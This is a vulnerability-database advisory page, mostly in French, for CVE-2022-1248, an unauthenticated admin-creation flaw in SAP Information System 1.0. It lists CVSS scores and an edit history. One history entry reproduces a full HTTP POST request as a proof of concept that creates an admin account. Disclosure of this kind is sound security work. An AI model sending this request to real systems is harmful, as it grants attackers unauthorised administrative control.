SAP Information System 1.0 POST Request add_admin.php authentification faible

EntréeHistoryDiffjsonxmlCTI

Une vulnérabilité a été trouvé dans SAP Information System 1.0 et classée critique. Affecté par ce problème est une fonction inconnue du fichier /SAP_Information_System/controllers/add_admin.php du composant POST Request Handler. La manipulation avec une valeur d'entrée inconnue mène à une vulnérabilité de classe authentification faible. Cette vulnérabilité a été nommée CVE-2022-1248. Il est possible d'initialiser l'attaque à distance. Des details techniques sont connus. Il est déclaré comme proof-of-concept. L'exploit est disponible au téléchargment sur vuldb.com. Une solution envisageable a été publiée même avant, et non après après la publication de la vulnérabilité.

Chronologie

Utilisateur

1	30
24379	2

Domaine

exploit_sourcecode	2
vulnerability_cvss3_meta_tempscore	2
exploit_publicity	1
source_cve_nvd_summary	1
vulnerability_cvss3_cna_basescore	1

Commit Conf

90%	29
70%	10
50%	10
100%	3

Approve Conf

90%	29
70%	10
80%	10
100%	1

ID	Engagé	Utilisateur	Domaine	Changement	Remarques	Accepté	Statut	C
12357019	09/04/2022	mrempy	sourcecode			10/04/2022	we declare full http recordings as PoC exploit	0
12357018	09/04/2022	mrempy	publicity	0 ❌		10/04/2022	we declare full http recordings as PoC exploit	0
12350946	08/04/2022	VulD...	cve_nvd_summary	A vulnerability was found in SAP Information System 1.0 which has been rated as critical. Affected by this issue is the file /SAP_Information_System/controllers/add_admin.php. An unauthenticated attacker is able to create a new admin account for the web application with a simple POST request. Exploit details were disclosed.	cvedetails.com	08/04/2022	accepté	70
12350945	08/04/2022	VulD...	cvss3_cna_basescore	7.3	see CVSS documentation	08/04/2022	accepté	90
12350944	08/04/2022	VulD...	cvss3_meta_tempscore	6.9	see CVSS documentation	08/04/2022	accepté	90
12350943	08/04/2022	VulD...	cve_cna	VulDB	nvd.nist.gov	08/04/2022	accepté	70
12350942	08/04/2022	VulD...	cvss3_cna_a	L	nvd.nist.gov	08/04/2022	accepté	70
12350941	08/04/2022	VulD...	cvss3_cna_i	L	nvd.nist.gov	08/04/2022	accepté	70
12350940	08/04/2022	VulD...	cvss3_cna_c	L	nvd.nist.gov	08/04/2022	accepté	70
12350939	08/04/2022	VulD...	cvss3_cna_s	U	nvd.nist.gov	08/04/2022	accepté	70
12350938	08/04/2022	VulD...	cvss3_cna_ui	N	nvd.nist.gov	08/04/2022	accepté	70
12350937	08/04/2022	VulD...	cvss3_cna_pr	N	nvd.nist.gov	08/04/2022	accepté	70
12350936	08/04/2022	VulD...	cvss3_cna_ac	L	nvd.nist.gov	08/04/2022	accepté	70
12350935	08/04/2022	VulD...	cvss3_cna_av	N	nvd.nist.gov	08/04/2022	accepté	70
12347326	06/04/2022	VulD...	sourcecode	POST /SAP_Information_System/controllers/add_admin.php HTTP/1.1 Host: target.com Content-Length: 345 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYELEK8fMdX63l0iI Origin: http://target.com Referer: http://target.com/SAP_Information_System/Dashboard/pages/Admin.php Accept-Encoding: gzip, deflate Accept-Language: pt-PT,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=jjnkf4nmpdm7sca82btt2r4s1c Connection: close ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="username" hacker ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="password" P@ssw0rd! ------WebKitFormBoundaryYELEK8fMdX63l0iI Content-Disposition: form-data; name="user" admin ------WebKitFormBoundaryYELEK8fMdX63l0iI--		06/04/2022	accepté	100
12346910	06/04/2022	VulD...	price_0day	$0-$5k	see exploit price documentation	06/04/2022	accepté	90
12346909	06/04/2022	VulD...	cvss3_meta_tempscore	6.6	see CVSS documentation	06/04/2022	accepté	90
12346908	06/04/2022	VulD...	cvss3_meta_basescore	7.3	see CVSS documentation	06/04/2022	accepté	90
12346907	06/04/2022	VulD...	cvss3_vuldb_tempscore	6.6	see CVSS documentation	06/04/2022	accepté	90
12346906	06/04/2022	VulD...	cvss3_vuldb_basescore	7.3	see CVSS documentation	06/04/2022	accepté	90

32 plus d'entrées ne sont pas affichées

🔒 Login Required

You need to signup and login to see more of the remaining 32 results.

◂ Précédent Aperçu Suivant ▸

Want to stay up to date on a daily basis?

Enable the mail alert feature now!